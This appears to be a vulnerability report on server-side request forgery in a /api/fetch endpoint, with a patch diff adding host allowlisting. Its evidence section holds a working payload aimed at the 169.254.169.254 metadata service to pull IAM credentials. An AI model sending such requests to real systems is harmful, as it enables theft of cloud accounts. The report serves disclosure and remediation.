Server-side request forgery reaches the cloud metadata endpoint
GET /api/fetch passes a client-controlled url straight into an
outbound request with no host allowlist, so it can be pointed at link-local and internal addresses.
Evidence
> GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
> Host: app.exampl[e].com
< HTTP/1.1 200 OK
< Content-Type: text/plain
< AKIA… (temporary IAM credentials returned)
Proof of concept
The parameter is reflected into an outbound HTTP request. Pointing it at the instance-metadata service returns live temporary IAM credentials, granting programmatic access to the tenant's cloud account.
Fix (for GitHub repos, submitted as a pull request)
--- a/api/fetch.py
+++ b/api/fetch.py
@@ def fetch(url):
- resp = httpx.get(url) # url is client-controlled
+ host = urlparse(url).hostname
+ if is_link_local(host) or not host_allowed(host):
+ raise ValueError("blocked host")
+ resp = httpx.get(url, follow_redirects=False)
return Response(resp.content)
